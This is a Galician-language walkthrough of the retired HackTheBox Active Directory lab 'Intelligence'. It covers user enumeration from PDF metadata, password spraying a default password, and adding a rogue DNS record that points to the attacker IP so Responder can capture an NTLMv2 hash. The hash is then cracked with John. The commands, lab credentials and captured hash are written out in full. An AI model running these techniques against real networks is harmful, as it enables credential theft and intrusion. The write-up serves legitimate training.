

Informe Técnico: Walkthrough

Máquina retirada: Intelligence



Intelligence


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De Interese

- Informe xerado con LATEX
- Informe baseado no vídeo de S4vitar: Cómo crear un reporte profesional en LaTeX
- https://github.com/ricardofc/repoEDU-CCbySA/tree/main/SI/Pentester/ActiveDirectory





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1. Escenario

- Plataforma **HackTheBox**.
- Máquina retirada Intelligence




Figura 1: Detalles da máquina

Dirección URL

https://app.hackthebox.com/machines/357

2. Obxectivos

- Auditar o servidor Intelligence
- Enumerar posibles vectores de explotación
- Determinar alcance e impacto dun ataque sobre o sistema en produción.

2.1. Fluxo de traballo



Figura 2: Fluxo de traballo







3. Análisis de vulnerabilidades

3.1. Recoñemento inicial

- Comprobación de conectividade e detección de sistema operativo:
 - TTL $\simeq 64 \Rightarrow \text{GNU/Linux}$
 - TTL $\simeq 128 \Rightarrow$ Microsoft Windows

```
$\to$ ping -c1 10.10.10.248 -R
PING 10.10.10.248 (10.10.10.248) 56(124) bytes of data.
64 bytes from 10.10.10.248: icmp_seq=1 ttl=127 time=46.3 ms
```

Figura 3: Recoñecemento inicial sobre o sistema obxectivo

• Escaneo/detección de portos abertos mediante nmap

```
$ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.248
```

Código 1: nmap: Portos TCP open

```
PORT
          STATE SERVICE
                                  REASON
53/tcp
          open
                domain
                                  syn-ack ttl 127
80/tcp
                http
                                  syn-ack ttl 127
          open
88/tcp
                                 syn-ack ttl 127
          open
                kerberos-sec
135/tcp
                                 syn-ack ttl 127
          open
                msrpc
139/tcp
                netbios-ssn
                                 syn-ack ttl 127
          open
389/tcp
          open
                ldap
                                  syn-ack ttl 127
445/tcp
          open
                microsoft-ds
                                 syn-ack ttl 127
                                 syn-ack ttl 127
464/tcp
          open
                kpasswd5
593/tcp
                                 syn-ack ttl 127
                http-rpc-epmap
          open
          open
636/tcp
                ldapssl
                                 syn-ack ttl 127
3268/tcp
                globalcatLDAP
                                 syn-ack ttl 127
          open
3269/tcp
          open
                globalcatLDAPssl syn-ack ttl 127
5985/tcp
          open
                wsman
                                  syn-ack ttl 127
9389/tcp
                adws
                                  syn-ack ttl 127
          open
49667/tcp open
                                  syn-ack ttl 127
                unknown
49691/tcp open
                unknown
                                  syn-ack ttl 127
49692/tcp open
                unknown
                                  syn-ack ttl 127
49712/tcp open
                unknown
                                  syn-ack ttl 127
49718/tcp open
                                  syn-ack ttl 127
                unknown
50290/tcp open
                unknown
                                  syn-ack ttl 127
```

Figura 4: Recoñecemento con nmap





Detección de servizos e versións sobre os portos sobre os cales foi posible explotar o sistema:

```
1 $ sudo nmap -p80,88,389,445,639,3268,3269,5985 -sCV -vvv -n 10.10.10.248
```

Código 2: nmap scripting sobre servizos e versións

```
open
                             Microsoft IIS httpd 10.0
 http-methods:
   Potentially risky methods: TRACE
 _http-server-header: Microsoft-IIS/10.0
|_http-title: Intelligence
                            Microsoft Windows Kerberos (server time: 2022-06-05 22:03:45Z)
88/tcp
         open kerberos-sec
389/tcp
                             Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
         open
               ldap
 ssl-cert: Subject: commonName=dc.intelligence.htb
 Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
         open microsoft-ds?
445/tcp
636/tcp
         open ssl/ldap
                             Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
 ssl-cert: Subject: commonName=dc.intelligence.htb
 Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
3268/tcp open ldap
                             Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
 ssl-cert: Subject: commonName=dc.intelligence.htb
 Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
                             Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap
 ssl-cert: Subject: commonName=dc.intelligence.htb
 Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
5985/tcp open http
                             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
```

Figura 5: Numeración de servizos e versións

3.2. Enumeración servidor web

Facendo hovering pola páxina descargamos 2 pdfs e revisamos os seus metadatos coa ferrementa **exiftool**, atopando 2 posibles usuarios do dominio: William.Lee e Jose.Williams




Figura 6: Hovering: http://10.10.10.248

```
$ exiftool 2020-01-01-upload.pdf | grep -i creator
Creator : William.Lee

$ exiftool 2020-12-15-upload.pdf | grep -i creator
Creator : Jose.Williams
```

Código 3: Metadatos: exiftool







3.3. Enumeración ldap

Revisando a saída do comando n
map na figura 5 da páxina 4 obtemos información sobre l
dap atopando o dominio intelligence.htb e o hostname
 dc.intelligence.htb. Entón engadimos estes nomes ao ficheiro /etc/hosts para a súa resolución:

```
$ sudo bash -c "echo '10.10.10.248 dc.intelligence.htb intelligence.htb' >> /etc/hosts"

Código 4: Resolución DNS: /etc/hosts
```

3.4. Enumeración kerberos

Como parece que temos 2 usuarios do dominio imos probar se é así coa ferramenta kerbrute -o dominio intelligence.htb foi atopado a través do escaneo co nmap-:

Código 5: Enumeración usuarios kerberos: kerbrute

Entón si, temos 2 usuarios kerberos e non temos contrasinais probamos o ASREPROASTAttack:

```
$ GetNPUsers.py intelligence.htb/ -no-pass -usersfile users-potenciais-kerberos.txt
Impacket v0.10.1.dev1+20220606.123812.ac35841f - Copyright 2022 SecureAuth Corporation
[-] User William.Lee doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Jose.Williams doesn't have UF_DONT_REQUIRE_PREAUTH set
```


Código 6: Enumeración usuarios kerberos: ASREPROASTAttack

Pero non hai sorte.

3.5. Alternativas

Como co anterior non houbo sorte probamos outras opcións como as seguintes:

- Cos usuarios testeados probar sesións sen autenticación para rpcclient
- Intentar buscar por forza bruta contrasinais para eses usuarios con crackmapexec
- Fuzzing: wfuzz, gobuster, dirbuster...









3.6. Descargar pdfs

Pero seguimos sen ter éxito, entón probamos a seguinte idea: Se en *documents* existen 2 documentos con *data-*upload.pdf existirán máis? Entón, xeramos un script para logo intentar descargar os arquivos:

```
1 $ cat script.sh
2 for i in $(seq 2020 2022)
3 do
4 for j in $(seq 1 12)
5 do
6 [$j -le 9] && j=$(echo 0$j)
7 for k in $(seq 1 31)
8 do
9 [$k -le 9] && k=$(echo 0$k)
10 echo $i-$j-$k
11 done
12 done
13 done | tee -a days.txt
```

Código 7: script Bash

```
1 $ mkdir uploads; while read line
2 do
3 wget http://10.10.10.248/documents/${line}-upload.pdf && wget http://10.10.10.248/documents/${line}-upload.pdf -O uploads/${1
4 done < days.txt</pre>
```

Código 8: Descargar documentos

En uploads temos os arquivos descargados, co cal xeramos un novo script tal que mediante **exiftool** imos quedarnos co parametro **Creator**, de tal xeito que imos xerar un ficheiro cos posibles usuarios do dominio:

```
$ for i in $(ls uploads)
do
exiftool uploads/$i | grep -i creator 2>/dev/null | tee -a creators.txt
done
$ sort -u creators.txt | awk '{print $NF}' | sponge creators.txt
```

Código 9: Descargar documentos

Agora imos de novo con kerbrute validar se os usuarios atopados existen no dominio:

```
$ kerbrute userenum --dc 10.10.10.248 -d intelligence.htb creators.txt
    / ,< / __/ / / / / / / / / / / / /
   /_/|_|\___/_/ /_.___/_/ \__,_/\__/\_
  Version: dev (n/a) - 06/05/22 - Ronnie Flathers @ropnop
  2022/06/05 20:59:57 > Using KDC(s):
  2022/06/05 20:59:57 >
                          10.10.10.248:88
12
13
2022/06/05 20:59:57 > [+] VALID USERNAME:
                                               David.Reed@intelligence.htb
15 2022/06/05 20:59:57 > [+] VALID USERNAME:
                                               David.Mcbride@intelligence.htb
16 2022/06/05 20:59:57 > [+] VALID USERNAME:
                                               Darryl.Harris@intelligence.htb
17 2022/06/05 20:59:57 > [+] VALID USERNAME:
                                               Danny.Matthews@intelligence.htb
18 2022/06/05 20:59:57 > [+] VALID USERNAME:
                                               Daniel.Shelton@intelligence.htb
19 2022/06/05 20:59:57 > [+] VALID USERNAME:
                                               Brian.Morris@intelligence.htb
20 2022/06/05 20:59:57 > [+] VALID USERNAME:
                                               Anita.Roberts@intelligence.htb
21 2022/06/05 20:59:57 > [+] VALID USERNAME:
                                               Brian.Baker@intelligence.htb
22 2022/06/05 20:59:57 > [+] VALID USERNAME:
                                               Ian.Duncan@intelligence.htb
23 2022/06/05 20:59:57 > [+] VALID USERNAME:
                                               David.Wilson@intelligence.htb
24 2022/06/05 20:59:58 >
                        [+] VALID USERNAME:
                                               Jason.Wright@intelligence.htb
25 2022/06/05 20:59:58 > [+] VALID USERNAME:
                                               Richard.Williams@intelligence.htb
26 2022/06/05 20:59:58 >
                         [+] VALID USERNAME:
                                               Nicole.Brock@intelligence.htb
27 2022/06/05 20:59:58 >
                         [+] VALID USERNAME:
                                               Kelly.Long@intelligence.htb
28 2022/06/05 20:59:58 > [+] VALID USERNAME:
                                               {\tt Kaitlyn.Zimmerman@intelligence.htb}
29 2022/06/05 20:59:58 > [+] VALID USERNAME:
                                               Jose.Williams@intelligence.htb
30 2022/06/05 20:59:58 > [+] VALID USERNAME:
                                               John.Coleman@intelligence.htb
```







```
31 2022/06/05 20:59:58 > [+] VALID USERNAME:
                                               Jessica.Moody@intelligence.htb
32 2022/06/05 20:59:58 > [+] VALID USERNAME:
                                               Jennifer.Thomas@intelligence.htb
33 2022/06/05 20:59:58 > [+] VALID USERNAME:
                                               Jason.Patterson@intelligence.htb
34 2022/06/05 20:59:58 > [+] VALID USERNAME:
                                               Teresa.Williamson@intelligence.htb
35 2022/06/05 20:59:58 > [+] VALID USERNAME:
                                               Travis.Evans@intelligence.htb
36 2022/06/05 20:59:58 > [+] VALID USERNAME:
                                               William.Lee@intelligence.htb
37 2022/06/05 20:59:58 > [+] VALID USERNAME:
                                               Veronica.Patel@intelligence.htb
38 2022/06/05 20:59:58 > [+] VALID USERNAME:
                                               Tiffany.Molina@intelligence.htb
39 2022/06/05 20:59:58 > [+] VALID USERNAME:
                                               Thomas. Valenzuela@intelligence.htb
40 2022/06/05 20:59:58 > [+] VALID USERNAME:
                                               Thomas.Hall@intelligence.htb
41 2022/06/05 20:59:58 > [+] VALID USERNAME:
                                               Stephanie.Young@intelligence.htb
42 2022/06/05 20:59:58 > [+] VALID USERNAME:
                                               Scott.Scott@intelligence.htb
43 2022/06/05 20:59:58 > [+] VALID USERNAME:
                                               Samuel.Richardson@intelligence.htb
  2022/06/05 20:59:58 > Done! Tested 30 usernames (30 valid) in 0.388 seconds
```

Código 10: kerbrute

De novo probamos con ASREPROASTAttack:

```
$ GetNPUsers.py intelligence.htb/ -no-pass -usersfile creators.txt
  Impacket v0.10.1.dev1+20220606.123812.ac35841f - Copyright 2022 SecureAuth Corporation
  [-] User Anita.Roberts doesn't have UF_DONT_REQUIRE_PREAUTH set
      User Brian.Baker doesn't have UF_DONT_REQUIRE_PREAUTH set
6 [-] User Brian.Morris doesn't have UF_DONT_REQUIRE_PREAUTH set
  [-] User Daniel.Shelton doesn't have UF_DONT_REQUIRE_PREAUTH set
   [-] User Danny.Matthews doesn't have UF_DONT_REQUIRE_PREAUTH set
   [-] User Darryl.Harris doesn't have UF_DONT_REQUIRE_PREAUTH set
10 [-] User David.Mcbride doesn't have UF_DONT_REQUIRE_PREAUTH set
   [-] User David.Reed doesn't have UF_DONT_REQUIRE_PREAUTH set
12 [-] User David.Wilson doesn't have UF_DONT_REQUIRE_PREAUTH set
  [-] User Ian.Duncan doesn't have UF_DONT_REQUIRE_PREAUTH set
14 [-] User Jason.Patterson doesn't have UF_DONT_REQUIRE_PREAUTH set
  [-] User Jason.Wright doesn't have UF_DONT_REQUIRE_PREAUTH set
16 [-] User Jennifer.Thomas doesn't have UF_DONT_REQUIRE_PREAUTH set
  [-] User Jessica.Moody doesn't have UF_DONT_REQUIRE_PREAUTH set
  [-] User John.Coleman doesn't have UF_DONT_REQUIRE_PREAUTH set
  [-] User Jose.Williams doesn't have UF_DONT_REQUIRE_PREAUTH set
20 [-] User Kaitlyn.Zimmerman doesn't have UF_DONT_REQUIRE_PREAUTH set
   [-] User Kelly.Long doesn't have UF_DONT_REQUIRE_PREAUTH set
22 [-] User Nicole.Brock doesn't have UF_DONT_REQUIRE_PREAUTH set
  [-] User Richard.Williams doesn't have UF_DONT_REQUIRE_PREAUTH set
   [-] User Samuel.Richardson doesn't have UF_DONT_REQUIRE_PREAUTH set
  [-] User Scott.Scott doesn't have UF_DONT_REQUIRE_PREAUTH set
26 [-] User Stephanie.Young doesn't have UF_DONT_REQUIRE_PREAUTH set
      User Teresa.Williamson doesn't have UF_DONT_REQUIRE_PREAUTH set
28 [-] User Thomas.Hall doesn't have UF_DONT_REQUIRE_PREAUTH set
   [-] User Thomas.Valenzuela doesn't have UF_DONT_REQUIRE_PREAUTH set
   [-] User Tiffany.Molina doesn't have UF_DONT_REQUIRE_PREAUTH set
  [-] User Travis.Evans doesn't have UF_DONT_REQUIRE_PREAUTH set
32 [-] User Veronica.Patel doesn't have UF_DONT_REQUIRE_PREAUTH set
  [-] User William.Lee doesn't have UF_DONT_REQUIRE_PREAUTH set
```

Código 11: ASREPROASTAttack

E de novo nada, sen éxito.

3.6.1. Contido ficheiros descargados

Como non tivemos sorte imos revisar o contido dos ficheiros por se atopamos algo de interese. Para iso, automatizamos a tarefa e convertimos os pdf a texto coa ferramenta **pdftotext**:

```
for i in $(ls uploads/*pdf); do
    pdftotext $i $i.txt

done

for i in $(ls uploads/*txt); do
    echo $i | tee -a uploads/revisar.txt
    cat $i | tee -a uploads/revisar.txt
    echo ------ | tee -a uploads/revisar.txt
```









8 done

Código 12: pdftotext

Atopamos de interese o seguinte ficheiro:

```
1 ::::::::::
2 2020-06-04-upload.pdf.txt
3 ::::::::::
4 New Account Guide
5 Welcome to Intelligence Corp!
6 Please login using your username and the default password of:
7 NewIntelligenceCorpUser9876
8 After logging in please change your password as soon as possible.
```

Código 13: Contrasinal por defecto

4. Explotación de vulnerabilidades

4.1. Acceso ao sistema

Entón imos probar se algún dos usuarios existentes no dominio non modificou o contrasinal:

```
$ crackmapexec smb 10.10.10.248 -u creators.txt -p 'NewIntelligenceCorpUser9876' --continue-on-success
              10.10.10.248 445 DC
                                                   [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
    SMB
              10.10.10.248 445 DC
                                                   [-] intelligence.htb\Anita.Roberts:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
    SMB
              10.10.10.248 445 DC
                                                  [-] intelligence.htb\Brian.Baker:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
    SMB
              10.10.10.248 445 DC
                                                   [-] intelligence.htb\Brian.Morris:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
                                                   [-] intelligence.htb\Daniel.Shelton:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
    SMB
              10.10.10.248 445 DC
    SMB
              10.10.10.248 445 DC
                                                   [-] intelligence.htb\Danny.Matthews:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
    SMB
              10.10.10.248 445 DC
                                                        intelligence.htb\Darryl.Harris:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
    SMB
              10.10.10.248 445 DC
                                                   [-] intelligence.htb\David.Mcbride:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
 9
    SMB
              10.10.10.248 445 DC
                                                   [-] intelligence.htb\David.Reed:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
10
    SMB
              10.10.10.248 445 DC
                                                   [-] intelligence.htb\David.Wilson:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
    SMB
              10.10.10.248 445 DC
                                                   [-] intelligence.htb\Ian.Duncan:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
12
    SMB
              10.10.10.248 445 DC
                                                   [-] intelligence.htb\Jason.Patterson:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
    SMB
              10.10.10.248 445 DC
                                                   [-] intelligence.htb\Jason.Wright:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
14
                                                   [-] intelligence.htb\Jennifer.Thomas:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
15
    SMB
              10.10.10.248 445 DC
    SMB
              10.10.10.248 445 DC
                                                   [-] intelligence.htb\Jessica.Moody:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
16
    SMB
              10.10.10.248 445 DC
                                                   [-] intelligence.htb\John.Coleman:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
17
    SMB
              10.10.10.248 445 DC
                                                   [-] intelligence.htb\Jose.Williams:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
18
    SMB
              10.10.10.248 445 DC
                                                   [-] intelligence.htb\Kaitlyn.Zimmerman:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
19
    SMB
              10.10.10.248 445 DC
                                                   [-] intelligence.htb\Kelly.Long:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
20
21
    SMB
              10.10.10.248 445 DC
                                                        intelligence.htb\Nicole.Brock:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
    SMB
              10.10.10.248 445 DC
                                                   [-] intelligence.htb\Richard.Williams:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
22
              10.10.10.248 445 DC
23
    SMB
                                                   [-] intelligence.htb\Samuel.Richardson:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
                                                         intelligence.htb \verb|\Scott|.Scott|: New Intelligence Corp User 9876 STATUS\_LOGON\_FAILURE AND ST
    SMB
              10.10.10.248 445 DC
24
    SMB
              10.10.10.248 445 DC
                                                   [-] intelligence.htb\Stephanie.Young:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
25
26
    SMB
              10.10.10.248 445 DC
                                                   [-] intelligence.htb\Teresa.Williamson:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
27
    SMB
              10.10.10.248 445 DC
                                                   [-] intelligence.htb\Thomas.Hall:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
    SMB
              10.10.10.248 445 DC
                                                   [-] intelligence.htb\Thomas.Valenzuela:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
28
    SMB
              10.10.10.248 445 DC
                                                   [+] intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876
29
    SMB
              10.10.10.248 445 DC
                                                   [-] intelligence.htb\Travis.Evans:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
30
              10.10.10.248 445 DC
                                                   [-] intelligence.htb\Veronica.Patel:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
31
    SMB
              10.10.10.248 445 DC
                                                   [-] intelligence.htb\William.Lee:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE
    SMB
```

Código 14: Usuario/s con contrasinal por defecto

De Interese

Coa opción —continue-on-success aínda que atope coincidencias segue probando co resto de usuarios.

Entón atopamos que o usuario Tiffany. Molina non modificou o contrasinal por defecto:

SMB 10.10.248 445 DC [+] intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876

Código 15: Usuario/s con contrasinal por defecto



Ricardo Feijoo Costa





4.1.1. Flag user.txt

Agora con credenciais válidas podemos voltar a revisar smb e ver se existen recursos compartidos:

```
$ crackmapexec smb 10.10.10.248 -u Tiffany.Molina -p 'NewIntelligenceCorpUser9876' --shares
                               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
2 SMB
        10.10.10.248 445 DC
3 SMB
        10.10.10.248 445 DC
                               [+] intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876
  SMB
        10.10.10.248 445 DC
                               [+] Enumerated shares
4
5
  SMB
        10.10.10.248 445 DC
                               Share Permissions Remark
6 SMB
        10.10.10.248 445 DC
  SMB
        10.10.10.248 445 DC
                               ADMIN$ Remote Admin
  SMB
        10.10.10.248 445 DC
                               C$ Default share
                               IPC$ READ Remote IPC
9
  SMB
        10.10.10.248 445 DC
10 SMB
        10.10.10.248 445 DC
                               IT READ
                               NETLOGON READ Logon server share
11
  SMB
         10.10.10.248 445 DC
12 SMB
        10.10.10.248 445 DC
                               SYSVOL READ Logon server share
       10.10.10.248 445 DC
13 SMB
                               Users READ
14
  $ smbclient -U'intelligence.htb/Tiffany.Molina%NewIntelligenceCorpUser9876' -L //10.10.10.248
15
16
                               Comment
17
    Sharename
                     Type
18
     ADMIN$
                     Disk
                               Remote Admin
19
    C$
                     Disk
                               Default share
20
    TPC$
21
                     TPC
                               Remote IPC
22
                     Disk
    NETLOGON
                     Disk
23
                               Logon server share
24
    SYSVOL
                     Disk
                               Logon server share
    Users
                     Disk
25
{\tt 26} Reconnecting with SMB1 {\tt for} workgroup listing.
   do_connect: Connection to 10.10.10.248 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
  Unable to connect with SMB1 -- no workgroup available
28
  $ smbclient -U'intelligence.htb/Tiffany.Molina%NewIntelligenceCorpUser9876' //10.10.10.248/Users
30
  Try "help" to get a list of possible commands.
31
32 smb: \> ls
                                                  0 Mon Apr 19 08:20:26 2021
33
                                                  0 Mon Apr 19 08:20:26 2021
34
                                        DR.
    {\tt Administrator}
                                         D
                                                  0 Mon Apr 19 07:18:39 2021
    All Users
                                     \mathtt{DHSrn}
                                                  0 Sat Sep 15 14:21:46 2018
36
                                                  0 Mon Apr 19 09:17:40 2021
37
    Default
                                       DHR.
                                                  0 Sat Sep 15 14:21:46 2018
    Default User
                                     DHSrn
38
    desktop.ini
                                       AHS
                                                174 Sat Sep 15 14:11:27 2018
39
    Public
                                        DR.
                                                  0 Mon Apr 19 07:18:39 2021
40
                                                  0 Mon Apr 19 08:20:26 2021
    Ted.Graves
                                         D
41
                                         D
                                                  0 Mon Apr 19 07:51:46 2021
42
    Tiffany.Molina
      3770367 blocks of size 4096. 1265474 blocks available
44
45 smb: \> cd Tiffany.Molina\Desktop\
  smb: \Tiffany.Molina\Desktop\> dir
46
                                                  0 Mon Apr 19 07:51:46 2021
47
48
                                        DR.
                                                  0 Mon Apr 19 07:51:46 2021
                                                 34 Mon Jun 6 04:52:50 2022
49
    user.txt
                                        AR
50
      3770367 blocks of size 4096. 1265474 blocks available
52 smb: \Tiffany.Molina\Desktop\> get user.txt
  getting file \Tiffany.Molina\Desktop\user.txt of size 34 as user.txt (0,2 KiloBytes/sec) (average 0,2 KiloBytes/sec)
53
54 smb: \Tiffany.Molina\Desktop\> exit
```

Código 16: Recursos compartidos

1 \$ cat user.txt

Código 17: Flag user.txt







5. Escalada de privilexios

5.1. Movemento lateral

Comprobamos o acceso ás contas doutros usuarios:

```
$ smbclient -U'intelligence.htb/Tiffany.Molina%NewIntelligenceCorpUser9876' //10.10.10.248/Users
  Try "help" to get a list of possible commands.
  smb: \> dir
3
                                                  0 Mon Apr 19 03:20:26 2021
                                        DR
                                                  0 Mon Apr 19 03:20:26 2021
5
                                                  0 Mon Apr 19 02:18:39 2021
    Administrator
                                        D
                                     DHSrn
    All Users
                                                  0 Sat Sep 15 09:21:46 2018
                                       DHR
    Default
                                                  0 Mon Apr 19 04:17:40 2021
    Default User
                                     DHSrn
                                                  0 Sat Sep 15 09:21:46 2018
                                                174 Sat Sep 15 09:11:27 2018
    desktop.ini
                                       AHS
                                        DR
                                                 0 Mon Apr 19 02:18:39 2021
    Public
12
    Ted.Graves
                                         D
                                                  0 Mon Apr 19 03:20:26 2021
    Tiffany.Molina
                                                  0 Mon Apr 19 02:51:46 2021
13
14
      3770367 blocks of size 4096. 1462539 blocks available
15
16 smb: \> cd Administrator\
17 smb: \Administrator\> dir
18 NT_STATUS_ACCESS_DENIED listing \Administrator\*
19 smb: \Administrator\> cd ...
20 smb: \> cd Ted.Graves\
21 smb: \Ted.Graves\> dir
22 NT_STATUS_ACCESS_DENIED listing \Ted.Graves\*
23 smb: \Ted.Graves\> exit
```

Código 18: Outros usuarios existentes no sistema

Investigamos nos recursos compartidos do usuario **Tiffany.Molina**:

Código 19: Powershell

```
$ cat downdetector.ps1
2 # Check web server status. Scheduled to run every 5min
3 Import-Module ActiveDirectory
4 foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" |
5 Where-Object Name -like "web*") {
6 try {
7 $request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
8 if(.StatusCode -ne 200) {
9 Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>'
10 -Subject "Host: $($record.Name) is down"
11 }
12 } catch {}
13 }
```

Código 20: downdetector.ps1: user Ted.Graves

Vendo o contido de **downdetector.ps1** parece que dalgunha forma se facemos que un **rexistro dns** veña á nosa máquina enviaramos as credenciais do usuario **Ted Graves**. Agora, como facer iso do dns?







5.1.1. Xerar entrada DNS

Imos xerar unha entrada dos para que apunte á nosa máquina 10.10.14.12 mediante: dostool + responder

De Interese: dnstool

\$ git clone https://github.com/dirkjanm/krbrelayx.git

```
$ python dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876'
2 -a add -t A -r weboli -d 10.10.14.12 10.10.10.248
3 [-] Connecting to host...
4 [-] Binding to host
5 [+] Bind OK
6 [-] Adding new record
7 [+] LDAP operation completed successfully
```

Código 21: Agregar entrada DNS

Entón agora a esperar co sniffer responder:

```
$ sudo responder -I tun0 -v
               NBT-NS, LLMNR & MDNS Responder 3.1.1.0
9
     Author: Laurent Gaffie (laurent.gaffie@gmail.com)
10
     To kill this script hit CTRL-C
12
  [+] Poisoners:
14
                                     [ON]
       T.T.MNR.
16
       NBT-NS
                                     [ON]
       MDNS
                                     [ON]
17
18
       DNS
                                     [ON]
       DHCP
                                     [OFF]
19
20
21 [+] Servers:
       HTTP server
                                     [ON]
22
                                     [ON]
       HTTPS server
23
       WPAD proxy
                                     [OFF]
24
                                     [OFF]
       Auth proxy
25
                                     [ON]
26
       SMB server
                                     [ON]
27
       Kerberos server
       SQL server
                                     LUOJ
28
29
       FTP server
                                     [ON]
       IMAP server
                                     [ON]
30
       POP3 server
                                     [ON]
31
       SMTP server
                                     [ON]
32
      DNS server
                                     [ON]
33
                                     [ON]
34
      LDAP server
                                     [ON]
35
       RDP server
       DCE-RPC server
                                     LUOJ
36
37
       WinRM server
                                     [ON]
38
  [+] HTTP Options:
39
       Always serving EXE
                                     [OFF]
40
       Serving EXE
                                     [OFF]
41
                                     [OFF]
42
       {\tt Serving\ HTML}
43
       Upstream Proxy
                                     [OFF]
44
   [+] Poisoning Options:
       Analyze Mode
                                     [OFF]
46
       Force WPAD auth
                                     [OFF]
47
       Force Basic Auth
                                     [OFF]
       Force LM downgrade
                                     [OFF]
49
                                     [OFF]
       Force ESS downgrade
50
```

Ricardo Feijoo Costa







```
52 [+] Generic Options:
                  [tun0]
   Responder NIC
   Responder IP
                  [10.10.14.12]
   Responder IPv6
                  [dead:beef:2::100c]
56
   Challenge set
                  [random]
   Don't Respond To Names
                  ['ISATAP']
57
58
59
 [+] Current Session Variables:
                  [WIN-2S5JDT8VE07]
   Responder Machine Name
60
   Responder Domain Name
                  [3YAN.LOCAL]
61
   Responder DCE-RPC Port
                  Γ490031
62
63
 [+] Listening for events...
64
65
 [HTTP] Sending NTLM authentication request to ::ffff:10.10.10.248
66
67
 [HTTP] GET request from: ::ffff:10.10.10.248 URL: /
 [HTTP] NTLMv2 Client : ::ffff:10.10.10.248
68
 [HTTP] NTLMv2 Username : intelligence\Ted.Graves
69
70 [HTTP] NTLMv2 Hash
             : Ted.Graves::intelligence:4745f99d526a968f:8C3FB7124A598E1E864702B5BBB383DE:
630065002E006800740062000000000000000000
```

Código 22: Sniffer responder

5.1.2. Credenciais usuario Ted.Graves

Conseguimos o hash do usuario **Ted.Graves**, do cal imos intentar descubrir o contrasinal mediante **John The Ripper**:

```
$ cat hashes-responder.txt; john --wordlist=/usr/share/wordlists/rockyou.txt hashes-responder.txt
 10 Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
12 Press 'q' or Ctrl-C to abort, almost any other key for status
13 Og 0:00:00:17 44.58% (ETA: 21:22:34) Og/s 381934p/s 381934c/s 381934C/s kodima..kodikastimis
14 Mr.Teddy
         (Ted.Graves)
15 1g 0:00:00:28 DONE (2022-06-06 21:22) 0.03497g/s 378254p/s 378254c/s 378254C/s Mr.bobo..Mr.Smith5
16 Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
17 Session completed.
```

Código 23: Credenciais Ted.Graves

Temos novas credenciais: Ted.Graves:Mr.Teddy Agora coas novas credenciais, imos comprobar:

- winrm crackmapexec, evil-winrm
- \blacksquare smb smb
client, smbmap, crackmap
exec







```
$ crackmapexec winrm 10.10.10.248 -u'Ted.Graves' -p'Mr.Teddy'
                                                        [*] Windows 10.0 Build 17763 (name:DC) (domain:intelligence.htb)
              10.10.10.248
                               5985 DC
з НТТР
               10.10.10.248
                               5985
                                      DC
                                                        [*] http://10.10.10.248:5985/wsman
  WINRM
               10.10.10.248
                               5985
                                                        [-] intelligence.htb\Ted.Graves:Mr.Teddy
  $ smbclient -U'intelligence.htb/Ted.Graves%Mr.Teddy' -L //10.10.10.248
    Sharename
                     Туре
                               Comment
     ADMIN$
                     Disk
                               Remote Admin
     C$
                     Disk
                               Default share
    IPC$
                     IPC
                               Remote IPC
12
13
    ΙT
                     Disk
14
     NETLOGON
                     Disk
                               Logon server share
    SYSVOL
                     Disk
                               Logon server share
16
    Users
                     Disk
  Reconnecting with SMB1 for workgroup listing.
17
